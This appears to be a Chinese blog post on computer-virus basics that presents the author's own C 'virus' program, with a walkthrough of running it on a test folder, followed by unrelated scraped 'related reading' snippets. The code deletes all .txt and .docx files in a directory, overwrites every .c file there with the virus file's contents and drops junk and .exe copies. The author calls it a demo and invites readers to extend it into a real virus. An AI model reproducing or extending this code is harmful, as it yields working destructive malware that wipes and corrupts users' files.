c病毒
前言
最近一段时间,由于手头上没有什么要紧的任务,所以有时间能够对计算机病毒这一块的知识进行一个浅显的研究。为什么要对病毒进行了解研究,其实就是为了更好的对付病毒。上学的时候一直以为计算机病毒是一个只有高智商的计算机天才才能够编写出来的东西,后来通过从事编程行业才逐渐觉得编写出一个符合计算机病毒定义的病毒程序并不需要特别高深的知识,需要的钻研精神和耐心以及基础知识就可以了。其实计算机病毒和普通程序并没有太大的不同,只是编写及运行的目的不一样而已。下面就简单写一下病毒的相关概念性知识,明确了概念才能够继续下去。
什么是计算机病毒
计算机病毒(computer virus)是一个程序,一段可执行的代码。
根据《中华人民共和国计算机信息系统安全保护条例》对其定义是“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。
计算机病毒的结构
一般情况下,病毒在结构上分为三个功能模块:感染机制,触发机制,有效载荷(骚扰计算机的方法)。
计算机病毒的编写语言有哪些
计算机病毒的编写语言有C、delphi、汇编、机器码。例如“熊猫烧香”病毒就是用delphi编写的。
自己编写的C语言病毒程序
其实这个病毒程序充其量算一个演示程序,包含了有效载荷以及感染机制两部分,当然,可以在我写的程序上进行拓展以及改写变成真正符合定义的病毒程序。
代码
/*This is a flag:start*/
#include<stdio.h>
#include<io.h>
#include<windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>
#define INFECT_PATH "E:\\TMP"
#define DELETE_FILE1 "E:\\TMP\\*.txt"
#define DELETE_FILE2 "E:\\TMP\\*.docx"
#define CREAT_EXE1 "E:\\TMP\\worm.exe"
#define CREAT_EXE2 "E:\\TMP\\virus.exe"
#define Targetfile "E:\\TMP\\*.c"
#define Virusfile "E:\\E_KILL.c"
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
void MakeRubbish(void)
{
int i=0;
FILE *fp=NULL;
char* path=NULL;
char* NewName=NULL;
char tempname[]="XXXXXX";
path=INFECT_PATH;
if(!_chdir(path))
{
printf("open DIR success\n");
}
else
{
printf("open DIR failed\n");
pERROR("Error: ");
}
NewName=_mktemp(tempname);
fp=fopen(NewName,"w");
fclose(fp);
}
void CreatEXE(void)
{
int i;
char* s[2]={CREAT_EXE1,CREAT_EXE2};
for(i=0;i<2;i++)
{
open(s[i],0x0100,0x0080);
copyfile(Virusfile,s[i]);
}
}
void Remove(void)
{
int done;
int i;
struct _finddata_t ffblk;
char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2};
for (i = 0; i < 2; i++)
{
done = _findfirst(documenttype[i],&ffblk);
if(done!=-1)
{
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
while (!_findnext(done,&ffblk))
{
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
}
}
_findclose(done);
}
}
void copyfile(char* infile,char* outfile)
{
FILE *in,*out;
in=fopen(infile,"r");
out=fopen(outfile,"w");
while(!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
void InfectFile(void)
{
int done;
int i;
struct _finddata_t ffblk;
char *documenttype = Targetfile;
done = _findfirst(documenttype,&ffblk);
copyfile(Virusfile,ffblk.name);
while (!_findnext(done,&ffblk))
{
copyfile(Virusfile,ffblk.name); //感染
}
_findclose(done);
}
/*This is a flag:end*/
int main(void)
{
MakeRubbish( ); //制造垃圾文件
CreatEXE( ); //制造可执行程序
Remove( ); //删除文件
InfectFile( ); //感染文件
system("pause");
return 0;
}
简单讲解及运行结果
该病毒目的:
1.将一个指定目录内的所有.c文件感染成指定内容(不是复制/添加病毒自身代码至.c文件)。
2.将该目录下的所有.txt,.docx文件删除。
3.在该目录下制造垃圾文件。
4.在该目录下放置.exe垃圾。
在该病毒运行前,首先自己需要在建立一个实验目录以及一个.c文件。例如我在E盘建立一个TMP文件夹和一个E_ KILL.c 文件。
其中E_KILL.c内容如下:
#include<stdio.h>
#include<Windows.h>
int main(void)
{
printf("It is virus\n");
system("pause");
return 0;
}
TMP目录内容如下:
e.c以及yy.c中内容如下:
#include<stdio.h>
#include<Windows.h>
int main(void)
{
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
system("pause");
return 0;
}
然后开始运行病毒程序:
运行结束后打开TMP文件夹:
其中e.c yy.c内容:
结束
相关阅读
一、业务背景业务需求:服务层调用多个dao方法,要求只要有一条数据库执行语句出错,则全部回滚。而实际情况是前面四条执行成功,第五条
今天初次学习springMVC的时候,我跟着视频老师边听边做。按照老师的思想就是需要先用spring初始化一个父容器,用来管理一些底层公用
import torch.tensor x=torch.rand(5,6)x tensor([[0.4606, 0.0850, 0.8009, 0.3972, 0.9548, 0.5982],[0.4821, 0.9446, 0.514
A5创业网(公众号:iadmin5)12月7日报道,近日国内出现了要求微信支付赎金的勒索病毒,入侵用户电脑后会加密用户文件,要求受害者扫描微信二
What causes the deadlock? I take “Generate SubAccountId” as example.<1> At last I find “ A TRIGGER tg_s_SAid_Add ON s